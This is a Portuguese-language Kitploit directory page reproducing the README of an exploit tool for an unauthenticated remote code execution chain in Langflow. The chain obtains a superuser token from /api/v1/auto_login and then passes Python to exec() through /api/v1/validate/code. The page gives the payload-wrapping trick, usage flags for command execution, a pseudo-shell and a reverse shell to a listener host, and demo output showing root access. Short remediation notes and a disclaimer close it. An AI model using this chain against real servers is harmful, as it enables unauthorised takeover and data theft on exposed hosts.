Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-9198_exploit | Kitploit
Ferramentas/GitHubGitHub/0xdak/cve-2026-9198_exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso Remoto
GitHub0xdak/cve-2026-9198_exploit

CVE-2026-9198_exploit

Ver Repositório
1há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-9198 — Langflow OSS RCE não autenticado

Execução remota de código não autenticada no IBM Langflow OSS (1.0.0 – 1.10.0) em uma implantação padrão. Combina duas falhas:

  • CVE-2026-9103 — GET /api/v1/auto_login emite um JWT de SUPERUSUÁRIO para qualquer chamador sem credenciais sempre que AUTO_LOGIN estiver habilitado (o padrão no Langflow < 1.5).
  • CVE-2026-8481 — POST /api/v1/validate/code passa Python fornecido pelo usuário para exec() sem sandbox.

Juntas (CVE-2026-9198), um atacante não autenticado obtém execução de código como o usuário de serviço do Langflow — que frequentemente é root.

O que faz

  1. Solicita um token de portador de superusuário de /api/v1/auto_login (sem autenticação).

  2. Envia um payload para /api/v1/validate/code. O endpoint exec()a o código para "validá-lo"; o Python avalia valores de argumento padrão em tempo de definição, então o payload é encapsulado em um argumento padrão de função:

    root@kitploit:~
    def _v(a=exec('<payload>')): pass
    

    Para execução de comandos, o payload gera uma exceção cuja mensagem é a saída do comando, que o endpoint reflete de volta na resposta (function.errors[]).

Uso

root@kitploit:~
./exploit.py -t <alvo> [opções]

  -t, --target     host/IP alvo (ou URL completa)          (obrigatório)
  -p, --port       porta do Langflow                        (padrão 7860)
  -c, --cmd        executa um único comando shell, imprime a saída
      --shell      shell pseudo-interativo (cada linha executa via RCE)
      --lhost      IP do listener do reverse shell
      --lport      porta do listener do reverse shell      (padrão 4444)
  -k, --token      usa este token de portador (pula o auto_login)
      --timeout    tempo limite HTTP em segundos            (padrão 20)
      --no-banner  suprime o banner
  -h, --help       mostra a ajuda

Demonstração

root@kitploit:~
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow RCE não autenticado
  auto_login (token de superusuário) -> validate/code (exec)

[*] solicitando token de superusuário via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmado: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — cada linha executa via uma nova requisição. Ctrl-C / 'exit' para sair.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (inicie `nc -lvnp 4444` primeiro)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] enviando reverse shell para 10.10.14.7:4444 (inicie seu listener primeiro) ...
[+] payload enviado. Verifique seu listener.

Requisitos

  • Python 3.6+ (somente biblioteca padrão — sem necessidade de pip install)

Notas

  • Funciona apenas enquanto AUTO_LOGIN estiver habilitado (o padrão para Langflow < 1.5; em >= 1.5 deve estar explicitamente LANGFLOW_AUTO_LOGIN=true). Se auto_login não retornar token, o alvo não é explorável por este caminho — forneça um token válido com -k se você tiver um.
  • A saída do comando é retornada na resposta function.errors[]; stderr é mesclado ao stdout, então comandos com falha ainda mostram seu erro.
  • O código é executado como o usuário de serviço do Langflow. Se ele for root (comum com langflow run puro sob systemd/Docker como root), isso é root direto no host.

Remediação

  • Atualize o Langflow para além da faixa afetada; validate/code não deve exec() entrada não confiável e auto_login não deve emitir tokens de superusuário.
  • Defina LANGFLOW_AUTO_LOGIN=false e configure credenciais reais de superusuário.
  • Nunca execute o serviço Langflow como root.

Aviso legal

Este projeto é publicado apenas para testes de segurança autorizados e fins educacionais. Não o use contra sistemas que você não possui ou sem permissão explícita para testar. O autor não se responsabiliza por uso indevido.

Baixar ferramenta